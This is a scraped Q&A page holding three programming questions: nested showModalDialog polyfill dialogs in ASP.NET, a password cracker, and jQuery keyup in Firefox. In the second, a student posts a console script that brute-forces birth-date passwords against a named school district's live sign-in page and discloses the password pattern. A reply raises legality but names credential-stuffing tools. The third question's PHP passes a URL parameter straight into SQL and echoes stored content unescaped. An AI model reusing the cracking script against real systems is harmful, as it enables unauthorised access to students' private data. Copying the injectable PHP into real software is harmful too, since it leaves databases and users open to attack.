Cannot close nested showModal polyfill in ASP.NET - javascript

Trying to get IE11 specific app to run in Chrome.
Was using the polyfill (github.com/niutech/showModalDialog) successfully until I ran in to the below scenario.
I load ASPX page 1 with a button to load ASPX page 2 via showModal.
(note: jquery.min.js is v1.4.2)
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>WebForm1</title>
<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/javascript">
(function () {
window.spawn = window.spawn || function (gen) {
function continuer(verb, arg) {
var result;
try {
result = generator[verb](arg);
} catch (err) {
return Promise.reject(err);
}
if (result.done) {
return result.value;
} else {
return Promise.resolve(result.value).then(onFulfilled, onRejected);
}
}
var generator = gen();
var onFulfilled = continuer.bind(continuer, 'next');
var onRejected = continuer.bind(continuer, 'throw');
return onFulfilled();
};
window.showModalDialog = window.showModalDialog || function (url, arg, opt) {
url = url || ''; // URL of a dialog
arg = arg || null; // arguments to a dialog
//opt = opt || "dialogWidth:410px; dialogHeight:420px;dialogTop:" + top + "px;dialogLeft:" + left + "px"; //options: dialogTop;dialogLeft;dialogWidth;dialogHeight or CSS styles
var caller = arguments.callee.caller.toString();
var dialog = parent.document.body.appendChild(document.createElement('dialog'));
dialog.setAttribute('style', opt.replace(/dialog/gi, ''));
dialog.innerHTML = '×<iframe id="dialog-body" src="' + url + '" style="border: 0; width: 100%; height: 100%;"></iframe>';
parent.document.getElementById('dialog-body').contentWindow.dialogArguments = arg;
parent.document.getElementById('dialog-close').addEventListener('click', function (e) {
e.preventDefault();
dialog.close();
});
dialog.showModal();
//if using yield or async/await
if (caller.indexOf('yield') >= 0 || caller.indexOf('await') >= 0) {
return new Promise(function (resolve, reject) {
dialog.addEventListener('close', function () {
var returnValue = parent.document.getElementById('dialog-body').contentWindow.returnValue;
parent.document.body.removeChild(dialog);
resolve(returnValue);
});
});
}
//if using eval
var isNext = false;
var nextStmts = caller.split('\n').filter(function (stmt) {
if (isNext || stmt.indexOf('showModalDialog(') >= 0)
return isNext = true;
return false;
});
dialog.addEventListener('close', function () {
var returnValue = document.getElementById('dialog-body').contentWindow.returnValue;
parent.document.body.removeChild(dialog);
nextStmts[0] = nextStmts[0].replace(/(window\.)?showModalDialog\(.*\)/g, JSON.stringify(returnValue));
eval('{\n' + nextStmts.join('\n'));
});
throw 'Execution stopped until showModalDialog is closed';
};
})();
/*******************************************************************************
* Purpose: Opens a popup
* ********************************************************************************/
async function OpenSiteMinder() {
var title = "Refresh List";
var details = "Authorizing";
var settingsString = new String();
// Fixes dual-screen position on most browsers
var dualScreenLeft = window.screenLeft != undefined ? window.screenLeft : screen.left;
var dualScreenTop = window.screenTop != undefined ? window.screenTop : screen.top;
var width = window.innerWidth ? window.innerWidth : document.documentElement.clientWidth ? document.documentElement.clientWidth : screen.width;
var height = window.innerHeight ? window.innerHeight : document.documentElement.clientHeight ? document.documentElement.clientHeight : screen.height;
var left = ((width / 2) - (410 / 2)) + dualScreenLeft;
var top = ((height / 2) - (420 / 2)) + dualScreenTop;
settingsString = "WebForm2.aspx";
var returns = await window.showModalDialog(settingsString, window, "edge:sunken;help:no;unadorned:yes;center:yes;status:no;dialogWidth:410px; dialogHeight:420px;dialogTop:" + top + "px;dialogLeft:" + left + "px'");
}//end of function OpenSiteMinder(sourceID, path)
</script>
</head>
<body>
<form id="form2" method="post" runat="server">
<input class="button" id="btnOK" onclick="javascript:OpenSiteMinder(); return false;" type="submit" value="OpenWebForm2" runat="server" />
<input type="hidden" runat="server" id="hdnWebForm1" name="hdnWebForm1" value="No"/>
</form>
</body>
</html>
ASPX page 2 opens ASPX page 3 via showModal
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>WebForm2</title>
<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/javascript">
(function () {
window.spawn = window.spawn || function (gen) {
function continuer(verb, arg) {
var result;
try {
result = generator[verb](arg);
} catch (err) {
return Promise.reject(err);
}
if (result.done) {
return result.value;
} else {
return Promise.resolve(result.value).then(onFulfilled, onRejected);
}
}
var generator = gen();
var onFulfilled = continuer.bind(continuer, 'next');
var onRejected = continuer.bind(continuer, 'throw');
return onFulfilled();
};
window.showModalDialog = window.showModalDialog || function (url, arg, opt) {
url = url || ''; // URL of a dialog
arg = arg || null; // arguments to a dialog
//opt = opt || "dialogWidth:410px; dialogHeight:420px;dialogTop:" + top + "px;dialogLeft:" + left + "px"; //options: dialogTop;dialogLeft;dialogWidth;dialogHeight or CSS styles
var caller = arguments.callee.caller.toString();
var dialog = parent.document.body.appendChild(document.createElement('dialog'));
dialog.setAttribute('style', opt.replace(/dialog/gi, ''));
dialog.innerHTML = '×<iframe id="dialog-body" src="' + url + '" style="border: 0; width: 100%; height: 100%;"></iframe>';
parent.document.getElementById('dialog-body').contentWindow.dialogArguments = arg;
parent.document.getElementById('dialog-close').addEventListener('click', function (e) {
e.preventDefault();
dialog.close();
});
dialog.showModal();
//if using yield or async/await
if (caller.indexOf('yield') >= 0 || caller.indexOf('await') >= 0) {
return new Promise(function (resolve, reject) {
dialog.addEventListener('close', function () {
var returnValue = parent.document.getElementById('dialog-body').contentWindow.returnValue;
parent.document.body.removeChild(dialog);
resolve(returnValue);
});
});
}
//if using eval
var isNext = false;
var nextStmts = caller.split('\n').filter(function (stmt) {
if (isNext || stmt.indexOf('showModalDialog(') >= 0)
return isNext = true;
return false;
});
dialog.addEventListener('close', function () {
var returnValue = document.getElementById('dialog-body').contentWindow.returnValue;
parent.document.body.removeChild(dialog);
nextStmts[0] = nextStmts[0].replace(/(window\.)?showModalDialog\(.*\)/g, JSON.stringify(returnValue));
eval('{\n' + nextStmts.join('\n'));
});
throw 'Execution stopped until showModalDialog is closed';
};
})();
/*******************************************************************************
* Purpose: Opens a popup
* ********************************************************************************/
async function OpenSiteMinder() {
var title = "Refresh List";
var details = "Authorizing";
var settingsString = new String();
// Fixes dual-screen position on most browsers
var dualScreenLeft = window.screenLeft != undefined ? window.screenLeft : screen.left;
var dualScreenTop = window.screenTop != undefined ? window.screenTop : screen.top;
var width = window.innerWidth ? window.innerWidth : document.documentElement.clientWidth ? document.documentElement.clientWidth : screen.width;
var height = window.innerHeight ? window.innerHeight : document.documentElement.clientHeight ? document.documentElement.clientHeight : screen.height;
var left = ((width / 2) - (410 / 2)) + dualScreenLeft;
var top = ((height / 2) - (420 / 2)) + dualScreenTop;
settingsString = "WebForm3.aspx";
var returns = await window.showModalDialog(settingsString, window, "edge:sunken;help:no;unadorned:yes;center:yes;status:no;dialogWidth:410px; dialogHeight:420px;dialogTop:" + top + "px;dialogLeft:" + left + "px'");
}//end of function OpenSiteMinder(sourceID, path)
</script>
</head>
<body>
<form id="form1" method="post" runat="server">
<div>
<p><span><b>WebForm2</b></span></p>
<span class="body11RED" id="ctrlMessage" runat="server"><b></b></span>
<p class="body">WebForm2 stuff:</p>
<p class="body">
<input class="button" id="btnOK" onclick="javascript:OpenSiteMinder(); return false;" type="submit" value="Open WebForm3" runat="server"/>
</p>
</div>
<input type="hidden" runat="server" id="hdnWebForm2" name="hdnWebForm4" value="No"/>
</form>
</body>
</html>
ASPX Page 3 opens ASPX page 4 inside of a frame.
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>WebForm3</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<p><span><b>WebForm3 opens WebForm4 inside frame</b></span></p>
<iframe id="iFrameProcessTransaction" runat="server" src="Webform4.aspx" style="height:240px; width:330px"></iframe>
</div>
<input type="hidden" runat="server" id="hdnWebForm3" name="hdnWebForm3" value="No"/>
</form>
</body>
</html>
I want ASPX Page 4 Yes button to return to ASPX page 2. parent.document.getElementsByTagName('dialog')[0].close() fails and parent.parent.document.getElementsByTagName('dialog')[0].close() works but takes me to WebForm1. How do I get it to return to ASPX page 2? (note: 3rd party requirements specify ASPX4 be opened in a frame) I can not close the modal showing aspx3 with the contents of aspx4 spawned from aspx2. Does anyone have any ideas?
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>WebForm4</title>
<script type="text/javascript" >
function PassConfirmation(authenticated) {
var valid = "Yes";
var paramsObject = new Object();
paramsObject.authenticated = valid;
window.returnValue = paramsObject;
//parent.document.getElementsByTagName('dialog')[0].close();
//window.parent.parent.frames[0].document.getElementsByTagName('dialog')[0].close(); //does not work
//window.parent.frames[0].document.getElementsByTagName('dialog')[0].close();
parent.document.getElementsByTagName('dialog')[0].close();
//window.close();
//return false;
}
</script>
</head>
<body>
<form id="form1" runat="server">
<div>
<p><span><b>WebForm4: I want clicking Yes to take me back to WebForm2's return of it's showModal</b></span></p>
<br />
<button id="btnYes" runat="server" onclick="PassConfirmation('Yes'); return false;" >Yes</button>
<button id="btnNo" onclick="PassConfirmation('No'); return false;" >No</button>
</div>
</form>
</body>
</html>

Related

Password cracker (Javascript) in console from browser

I am a high school student and I am trying to make a password cracker to show my school how vulnerable their Student Dashboard is. A student Dashboard is a website that contains student accounts, links, and private information like addresses, passwords, and relatives.
Everyone's password has the following syntax: Pmonth/day/year
EXAMPLE: P05/03/2005
There is a problem though, when the code clicks the sign in button, the URL changes, and the page reloads, which stops the code when I run it in the console.
Is there a way that I could keep the code running from console even if page reloads.
I have thought of using web cookies to store the last used password, and then when the page reloads, just input it into the password textbox, but I am not sure, since I haven't used cookies before.
Any help is greatly appreciated.
What I am aiming to do is that I input an Id, and then it tries to crack the password by going through all dates a year has after 2003.
I will appreciate all answers, but I would like my answer in raw javascript(no libraries).
The sign in page consists of an username textbox, a password textbox and a sign in button.
Here's what the sign in page looks like: Sign in page
Here is the source code of the page:
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=10.000"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<meta http-equiv="cache-control" content="no-cache,no-store"/>
<meta http-equiv="pragma" content="no-cache"/>
<meta http-equiv="expires" content="-1"/>
<meta name='mswebdialog-title' content='Connecting to Broward County Public Schools'/>
<title>Sign In</title>
<script type='text/javascript'>
//<![CDATA[
function LoginErrors(){this.userNameFormatError = 'Enter your user ID in the format \u0026quot;domain\\user\u0026quot; or \u0026quot;user#domain\u0026quot;.'; this.passwordEmpty = 'Enter your password.'; this.passwordTooLong = 'Password must be shorter than 128 characters.';}; var maxPasswordLength = 128;
//]]>
</script>
<script type='text/javascript'>
//<![CDATA[
// Copyright (c) Microsoft Corporation. All rights reserved.
function InputUtil(errTextElementID, errDisplayElementID) {
if (!errTextElementID) errTextElementID = 'errorText';
if (!errDisplayElementID) errDisplayElementID = 'error';
this.hasFocus = false;
this.errLabel = document.getElementById(errTextElementID);
this.errDisplay = document.getElementById(errDisplayElementID);
};
InputUtil.prototype.canDisplayError = function () {
return this.errLabel && this.errDisplay;
}
InputUtil.prototype.checkError = function () {
if (!this.canDisplayError){
throw new Error ('Error element not present');
}
if (this.errLabel && this.errLabel.innerHTML) {
this.errDisplay.style.display = '';
var cause = this.errLabel.getAttribute('for');
if (cause) {
var causeNode = document.getElementById(cause);
if (causeNode && causeNode.value) {
causeNode.focus();
this.hasFocus = true;
}
}
}
else {
this.errDisplay.style.display = 'none';
}
};
InputUtil.prototype.setInitialFocus = function (input) {
if (this.hasFocus) return;
var node = document.getElementById(input);
if (node) {
if ((/^\s*$/).test(node.value)) {
node.focus();
this.hasFocus = true;
}
}
};
InputUtil.prototype.setError = function (input, errorMsg) {
if (!this.canDisplayError) {
throw new Error('Error element not present');
}
input.focus();
if (errorMsg) {
this.errLabel.innerHTML = errorMsg;
}
this.errLabel.setAttribute('for', input.id);
this.errDisplay.style.display = '';
};
InputUtil.makePlaceholder = function (input) {
var ua = navigator.userAgent;
if (ua != null &&
(ua.match(/MSIE 9.0/) != null ||
ua.match(/MSIE 8.0/) != null ||
ua.match(/MSIE 7.0/) != null)) {
var node = document.getElementById(input);
if (node) {
var placeholder = node.getAttribute("placeholder");
if (placeholder != null && placeholder != '') {
var label = document.createElement('input');
label.type = "text";
label.value = placeholder;
label.readOnly = true;
label.style.position = 'absolute';
label.style.borderColor = 'transparent';
label.className = node.className + ' hint';
label.tabIndex = -1;
label.onfocus = function () { this.nextSibling.focus(); };
node.style.position = 'relative';
node.parentNode.style.position = 'relative';
node.parentNode.insertBefore(label, node);
node.onkeyup = function () { InputUtil.showHint(this); };
node.onblur = function () { InputUtil.showHint(this); };
node.style.background = 'transparent';
node.setAttribute("placeholder", "");
InputUtil.showHint(node);
}
}
}
};
InputUtil.focus = function (inputField) {
var node = document.getElementById(inputField);
if (node) node.focus();
};
InputUtil.hasClass = function(node, clsName) {
return node.className.match(new RegExp('(\\s|^)' + clsName + '(\\s|$)'));
};
InputUtil.addClass = function(node, clsName) {
if (!this.hasClass(node, clsName)) node.className += " " + clsName;
};
InputUtil.removeClass = function(node, clsName) {
if (this.hasClass(node, clsName)) {
var reg = new RegExp('(\\s|^)' + clsName + '(\\s|$)');
node.className = node.className.replace(reg, ' ');
}
};
InputUtil.showHint = function (node, gotFocus) {
if (node.value && node.value != '') {
node.previousSibling.style.display = 'none';
}
else {
node.previousSibling.style.display = '';
}
};
//]]>
</script>
<link rel="stylesheet" type="text/css" href="/adfs/portal/css/style.css?id=D74D4D6943F32AE6F7F11D14D601DBB0E1A58919176EE512150366B6279AAF99" /><style>.illustrationClass {background-image:url(/adfs/portal/illustration/illustration.jpg?id=EB0C84D8C0F5E1E10127F3AD4A4C45BCDAA7AC32FFE204DACEBEAF85C61DA2F9);}</style>
</head>
<body dir="ltr" class="body">
<div id="noScript" style="position:static; width:100%; height:100%; z-index:100">
<h1>JavaScript required</h1>
<p>JavaScript is required. This web browser does not support JavaScript or JavaScript in this web browser is not enabled.</p>
<p>To find out if your web browser supports JavaScript or to enable JavaScript, see web browser help.</p>
</div>
<script type="text/javascript" language="JavaScript">
document.getElementById("noScript").style.display = "none";
</script>
<div id="fullPage">
<div id="brandingWrapper" class="float">
<div id="branding"></div>
</div>
<div id="contentWrapper" class="float">
<div id="content">
<div id="header">
<img class="logoImage" src="/adfs/portal/logo/logo.png?id=4F68FA71CF303418A19ABB7297038B46FA3E25ED3754C2175A7B840EC6F97BE8" alt="Broward County Public Schools"/>
</div>
<div id="workArea">
<div id="authArea" class="groupMargin">
<div id="loginArea">
<div id="loginMessage" class="groupMargin">Sign in with your organizational account</div>
<form method="post" id="loginForm" autocomplete="off" novalidate="novalidate" onKeyPress="if (event && event.keyCode == 13) Login.submitLoginRequest();" action="/adfs/ls/?wctx=WsFedOwinState%3doJ9avOrRYr1UaVPxwGOAIzjfQ78zxpRhLHRmhne8M1AEjI9Y5SUSP0viJgR2iCtpjpu-gGqW73MjMkyVrK9b_N9m5JlVSyznBQxTGDsRm5WDilyumMYDi4x5qL9-To1jCTs2bXP7iiZJuHS0aLiN-jXhIHy26i4J9qpsUHbiivCUYCZQNb0m68RqVJwDU-Cqf0DW1ieuP1_sAcqk3l0nwBlRoG-cO039YHVhBOyZSbnHfZtGqJRSX7p6yt5wwRQ6Y5vz9dPJ8V7FTz6-GIZPnk4ee4A&wa=wsignin1.0&wtrealm=http%3a%2f%2fgb.browardschools.com%2fpinnacle%2fgradebook%2f" >
<div id="error" class="fieldMargin error smallText">
<label id="errorText" for=""></label>
</div>
<div id="formsAuthenticationArea">
<div id="userNameArea">
<input id="userNameInput" name="UserName" type="email" value="" tabindex="1" class="text fullWidth"
spellcheck="false" placeholder="someone#example.com" autocomplete="off"/>
</div>
<div id="passwordArea">
<input id="passwordInput" name="Password" type="password" tabindex="2" class="text fullWidth"
placeholder="Password" autocomplete="off"/>
</div>
<div id="kmsiArea" style="display:none">
<input type="checkbox" name="Kmsi" id="kmsiInput" value="true" tabindex="3" />
<label for="kmsiInput">Keep me signed in</label>
</div>
<div id="submissionArea" class="submitMargin">
<span id="submitButton" class="submit" tabindex="4"
onKeyPress="if (event && event.keyCode == 32) Login.submitLoginRequest();"
onclick="return Login.submitLoginRequest();">Sign in</span>
</div>
</div>
<input id="optionForms" type="hidden" name="AuthMethod" value="FormsAuthentication"/>
</form>
<div id="authOptions">
<form id="options" method="post" action="https://fs.browardschools.com:443/adfs/ls/?wctx=WsFedOwinState%3doJ9avOrRYr1UaVPxwGOAIzjfQ78zxpRhLHRmhne8M1AEjI9Y5SUSP0viJgR2iCtpjpu-gGqW73MjMkyVrK9b_N9m5JlVSyznBQxTGDsRm5WDilyumMYDi4x5qL9-To1jCTs2bXP7iiZJuHS0aLiN-jXhIHy26i4J9qpsUHbiivCUYCZQNb0m68RqVJwDU-Cqf0DW1ieuP1_sAcqk3l0nwBlRoG-cO039YHVhBOyZSbnHfZtGqJRSX7p6yt5wwRQ6Y5vz9dPJ8V7FTz6-GIZPnk4ee4A&wa=wsignin1.0&wtrealm=http%3a%2f%2fgb.browardschools.com%2fpinnacle%2fgradebook%2f">
<script type="text/javascript">
function SelectOption(option) {
var i = document.getElementById('optionSelection');
i.value = option;
document.forms['options'].submit();
return false;
}
</script>
<input id="optionSelection" type="hidden" name="AuthMethod" />
<div class='groupMargin'></div>
</form>
</div>
<div id="introduction" class="groupMargin">
<p align=center><b>REPORT CHILD ABUSE</b></p><p align=center><b>CALL 1-800-96ABUSE OR 1-800-962-2873</b></p></BR><p align=center><b>Students</b></p><p>If you are a student, your login name is your
student number (06########). If you have forgotten your password, please contact your teacher. </p></BR><p
align=center><b>Staff</b></p><p>If you are staff, your login name should be your staff ID (P0#######). If you have forgotten your password,
please contact your tech.</p></BR><p align=center><b>Parents Accessing Pinnacle</b></p><p>If you are a parent of a student in grades 6-12
and are accessing Pinnacle, please use your child’s Active Directory userid and password to login. If you are the parent of a child in
grades 3-5, please use the <b>BCPS Mobile App</b> to view the current average grade your child has earned in each class.</p>
</div>
<script type="text/javascript">
//<![CDATA[
function Login() {
}
Login.userNameInput = 'userNameInput';
Login.passwordInput = 'passwordInput';
Login.initialize = function () {
var u = new InputUtil();
u.checkError();
u.setInitialFocus(Login.userNameInput);
u.setInitialFocus(Login.passwordInput);
}();
Login.submitLoginRequest = function () {
var u = new InputUtil();
var e = new LoginErrors();
var userName = document.getElementById(Login.userNameInput);
var password = document.getElementById(Login.passwordInput);
if (!userName.value || !userName.value.match('[#\\\\]')) {
u.setError(userName, e.userNameFormatError);
return false;
}
if (!password.value) {
u.setError(password, e.passwordEmpty);
return false;
}
if (password.value.length > maxPasswordLength) {
u.setError(password, e.passwordTooLong);
return false;
}
document.forms['loginForm'].submit();
return false;
};
InputUtil.makePlaceholder(Login.userNameInput);
InputUtil.makePlaceholder(Login.passwordInput);
//]]>
</script>
</div>
</div>
</div>
<div id="footerPlaceholder"></div>
</div>
<div id="footer">
<div id="footerLinks" class="floatReverse">
<div><span id="copyright">© 2013 Microsoft</span></div>
</div>
</div>
</div>
</div>
<script type='text/javascript'>
//<![CDATA[
// Copyright (c) Microsoft Corporation. All rights reserved.
// This file contains several workarounds on inconsistent browser behaviors that administrators may customize.
"use strict";
// iPhone email friendly keyboard does not include "\" key, use regular keyboard instead.
// Note change input type does not work on all versions of all browsers.
if (navigator.userAgent.match(/iPhone/i) != null) {
var emails = document.querySelectorAll("input[type='email']");
if (emails) {
for (var i = 0; i < emails.length; i++) {
emails[i].type = 'text';
}
}
}
// In the CSS file we set the ms-viewport to be consistent with the device dimensions,
// which is necessary for correct functionality of immersive IE.
// However, for Windows 8 phone we need to reset the ms-viewport's dimension to its original
// values (auto), otherwise the viewport dimensions will be wrong for Windows 8 phone.
// Windows 8 phone has agent string 'IEMobile 10.0'
if (navigator.userAgent.match(/IEMobile\/10\.0/)) {
var msViewportStyle = document.createElement("style");
msViewportStyle.appendChild(
document.createTextNode(
"#-ms-viewport{width:auto!important}"
)
);
msViewportStyle.appendChild(
document.createTextNode(
"#-ms-viewport{height:auto!important}"
)
);
document.getElementsByTagName("head")[0].appendChild(msViewportStyle);
}
// If the innerWidth is defined, use it as the viewport width.
if (window.innerWidth && window.outerWidth && window.innerWidth !== window.outerWidth) {
var viewport = document.querySelector("meta[name=viewport]");
viewport.setAttribute('content', 'width=' + window.innerWidth + 'px; initial-scale=1.0; maximum-scale=1.0');
}
// Gets the current style of a specific property for a specific element.
function getStyle(element, styleProp) {
var propStyle = null;
if (element && element.currentStyle) {
propStyle = element.currentStyle[styleProp];
}
else if (element && window.getComputedStyle) {
propStyle = document.defaultView.getComputedStyle(element, null).getPropertyValue(styleProp);
}
return propStyle;
}
// The script below is used for downloading the illustration image
// only when the branding is displaying. This script work together
// with the code in PageBase.cs that sets the html inline style
// containing the class 'illustrationClass' with the background image.
var computeLoadIllustration = function () {
var branding = document.getElementById("branding");
var brandingDisplay = getStyle(branding, "display");
var brandingWrapperDisplay = getStyle(document.getElementById("brandingWrapper"), "display");
if (brandingDisplay && brandingDisplay !== "none" &&
brandingWrapperDisplay && brandingWrapperDisplay !== "none") {
var newClass = "illustrationClass";
if (branding.classList && branding.classList.add) {
branding.classList.add(newClass);
} else if (branding.className !== undefined) {
branding.className += " " + newClass;
}
if (window.removeEventListener) {
window.removeEventListener('load', computeLoadIllustration, false);
window.removeEventListener('resize', computeLoadIllustration, false);
}
else if (window.detachEvent) {
window.detachEvent('onload', computeLoadIllustration);
window.detachEvent('onresize', computeLoadIllustration);
}
}
};
if (window.addEventListener) {
window.addEventListener('resize', computeLoadIllustration, false);
window.addEventListener('load', computeLoadIllustration, false);
}
else if (window.attachEvent) {
window.attachEvent('onresize', computeLoadIllustration);
window.attachEvent('onload', computeLoadIllustration);
}
if (typeof Login != 'undefined'){
Login.submitLoginRequest = function () {
var u = new InputUtil();
var e = new LoginErrors();
var userName = document.getElementById(Login.userNameInput);
var password = document.getElementById(Login.passwordInput);
if (userName.value && !userName.value.match('[#\\\\]'))
{
var userNameValue = 'browardschools\\' + userName.value;
document.forms['loginForm'].UserName.value = userNameValue;
}
if (!userName.value) {
u.setError(userName, e.userNameFormatError);
return false;
}
if (!password.value)
{
u.setError(password, e.passwordEmpty);
return false;
}
document.forms['loginForm'].submit();
return false;
};
}
// Check whether the loginMessage element is present on this page.
var loginMessage = document.getElementById('loginMessage');
if (loginMessage)
{
// loginMessage element is present, modify its properties.
loginMessage.innerHTML = 'Sign in with your Browardschools Personnel Number or Student Number';
}
//]]>
</script>
</body>
</html>
Here is my following code:
//Gets id textbox
var username = document.getElementById("userNameInput");
//Gets password textbox
var password = document.getElementById("passwordInput");
//Gets button
var clickbutton = document.getElementById("submitButton");
var num1 = 1; // Month, start
var num2 = 0; // Day start
var num3 = 2003; // Year start
var id = username.value;
var passwrd = password.value;
var _DOB = "P" + "0" + num1 + "/" + num2 + "/" + num3; //Sets up the syntax for password Pmonth/day/year
function writeInput()
{
password.value = _DOB; // writes the _DOB value into the password textbox
clickbutton.click(); //clicks the sign in button
//SOTRES THE ID
id = username.value;
//ADDS THE NEXT DAY
num2 += 1; // If password is incorrect.
//RESETS DAY WHEN REACHES 31(max number a month has)
if(num2 > 31)
{
num2 = 1; // resets day to 1
num1 += 1; // adds 1 to the month count.
}
// ADDS NEXT YEAR
if(num2 == 31 && num1 == 12) // when reaches the last day of a year, it resets month and day, but adds one to the year count.
{
num3 += 1;
}
//RESET MONTH
if(num1 > 12)
{
num1 = 1;
}
if(num2 < 10)//Adds 0 to month and day if it is less than 10. Example: P5/5/2021 is not a correct systax, it turns to P05/05/2021. It adds the zeroes.
{
_DOB = "P" + "0" + num1 + "/" + "0" + num2 + "/" + num3;
}
else
{
_DOB = "P" + "0" + num1 + "/" + num2 + "/" + num3;
}
//Some output
clickbutton.onclick = console.log("SIGN IN BUTTON CLICKED");
console.log("Password used: " + _DOB);
}
}, 100);
}
setInterval(function()
{
writeInput();
}, 500);

Your challenge is to persist your JavaScript code inside a website hosted by someone else. All code within your browsers console is obsolete after page reload.
Another challenge you are facing is a legal one. It's highly recommended to get a permission to access an online service for the purpose you described. Any kind of security assessment has to be coordinated and aligned with the organization responsible for the questioned online service.
Since you will not want to change the content of the web server for legal reasons, you would need a tool manipulate the content served by the webserver within your client (read "browser").
There are browser automation tool like Puppeteer or Selenium Webdriver you can use to request any url repeatedly and to automate certain actions within the context of a browser like clicking elements, filling forms, executing JavaScript and so on.
Additionally there a fuzzers that can perform what is called credential stuffing. You can read more here about Burp Suite.

Keyup in Firefox

I am trying to detect a keypress using the jQuery keyup function, but it does not seem to work in Firefox. Though it does work in Chrome, Edge, IE and Opera.
$(".textfield").contents().keyup(function(evnt) {
document.getElementById("btn_save").style.opacity = "1";
saved = false;
});
".textfield" is an iframe with designmode = 'on' So I'm trying to detect a keyup within a editable iframe.
Here's my iframe, nothing special:
<iframe class="textfield" name="textfield" frameBorder="0"></iframe>
EDIT: (It's one of my first websites, so don't mind the bad code)
HTML
<head>
<title>Notepad - A minimalistic, free online text editor for your notes</title>
<meta charset="utf-8"/>
<meta name="description" content="Notepad is a free, minimalistic, online text editor for quickly writing down, saving and sharing your notes."/>
<link type="text/css" rel="stylesheet" href="style.css"/>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script type="text/javascript" src="filesaver/filesaver.js"></script>
<link href="https://fonts.googleapis.com/css?family=Khula|Roboto|Open+Sans|Barrio|Cairo|Cantarell|Heebo|Lato|Open+Sans|PT+Sans" rel="stylesheet">
<script src="https://ajax.googleapis.com/ajax/libs/webfont/1.6.26/webfont.js"></script>
<!-- Fonts -->
<script>
WebFont.load({
google: {
families: ['Cantarell', "Open Sans"]
}
});
</script>
</head>
<body onload="enableEdit('dark'); handlePaste(); handleDrop(); retrieveNote(); createCookie();">
<!-- Facebook & Twitter Share -->
<div id="fb-root"></div>
<script>(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/nl_NL/sdk.js#xfbml=1&version=v2.9";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));
</script>
<div id="social">
<div class="fb-share-button" data-href="https://developers.facebook.com/docs/plugins/" data-layout="button_count" data-size="small" data-mobile-iframe="true"><a class="fb-xfbml-parse-ignore" target="_blank" href="https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fdevelopers.facebook.com%2Fdocs%2Fplugins%2F&src=sdkpreparse" style="vertical-align:top;zoom:1;*display:inline">Share</a></div>
<a class="twitter-share-button" href="https://twitter.com/intent/tweet"></a>
<script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script>
</div>
<!-- Page -->
<div id="page">
<!-- Textfield -->
<iframe class="textfield" name="textfield" frameBorder="0"></iframe>
<!-- Toolbar -->
<div id="toolbar">
<h1 class="button" id="btn_bold" onclick="bold();" onmouseenter="onMouseEnter('btn_bold');" onmouseleave="onMouseLeave('btn_bold');"><b>B</b></h1>
<h1 class="button" id="btn_ita" onclick="italic();" onmouseenter="onMouseEnter('btn_ita');" onmouseleave="onMouseLeave('btn_ita');"><i>I</i></h1>
<h1 class="button" id="btn_und" onclick="underline();" onmouseenter="onMouseEnter('btn_und');" onmouseleave="onMouseLeave('btn_und');"><u>U</u></h1>
<img src="img/theme_dark.png" alt="Change theme" class="button theme" id="btn_theme" onclick="changeTheme();" onmouseenter="onMouseEnter('btn_theme');" onmouseleave="onMouseLeave('btn_theme')"; alt="Change theme." title="Theme"></img>
<img src="img/save.png" type="button" id="btn_save" value="submit" onclick="post();" class="button theme" alt="Save note." onmouseenter="onMouseEnter('btn_save');" onmouseleave="onMouseLeave('btn_save')" title="Save note"/>
<img src="img/cloud.png" type="button" id="btn_down" onclick="download();" class="button theme" alt="Download note" onmouseenter="onMouseEnter('btn_down');" onmouseleave="onMouseLeave('btn_down')" title="Download note"/>
<h1 class="button" id="btn_plus" onmousedown="changeFontSize(3);" onmouseenter="onMouseEnter('btn_plus');" onmouseleave="onMouseLeave('btn_plus');">+</h1>
<h1 class="button" id="btn_minus" onmousedown="changeFontSize(-3);" onmouseenter="onMouseEnter('btn_minus');" onmouseleave="onMouseLeave('btn_minus');">-</h1>
</div>
<div id="result"></div>
</div>
<?php
require("dbconnect.php");
$id = 0;
$idvar = $_GET['id'];
if ($idvar != null) {
$sel = "SELECT text from content WHERE id = $idvar";
} else {
$sel = "SELECT text from content WHERE id = 0";
}
$result = mysqli_query($connection, $sel);
if (mysqli_num_rows($result) == 1) {
while ($r = mysqli_fetch_array($result)) {
$content = str_replace('"', '"', $r["text"]);
}
} else {
header("Location: index.html");
}
$result = mysqli_query($connection, "SELECT id FROM content ORDER BY id DESC LIMIT 1;");
if (mysqli_num_rows($result) > 0) {
$lastid = mysqli_fetch_row($result);
}
?>
<div id="hid" style="display:none;" data-info="<?php echo $content; ?>"></div>
<script type="text/javascript">
function post() {
if (!saved) {
var content = getContent();
$.post("note.php", {posttext:content}, function (data) {});
var lastid = "<?php echo $lastid[0]; ?>";
if (content != "") {
increment++;
lastid = parseInt(lastid) + increment;
alert("Note saved at:\nnotepad.com/index.html?id=" + lastid);
document.getElementById("btn_save").style.opacity = "0.3";
document.getElementById("btn_save").title = "Saved at:\nnotepad.com/index.html?id=" + lastid;
saved = true;
} else {
alert("Empty note");
}
}
}
</script>
<script type="text/javascript" src="script.js"></script>
</body>
JavaScript
var color_text;
var color_button_light;
var color_button_dark;
var color_background;
var color_hover;
var brightness;
var font_size = 32;
var saved = false;
var mouseObj;
function getContent() {
return textfield.document.body.innerHTML;
}
var increment;
function download() {
if (getContent() != "") {
var blob = new Blob([getContent()], {type: "text/plain;charset=utf-8"});
saveAs(blob, "note");
} else {
alert("Empty note");
}
}
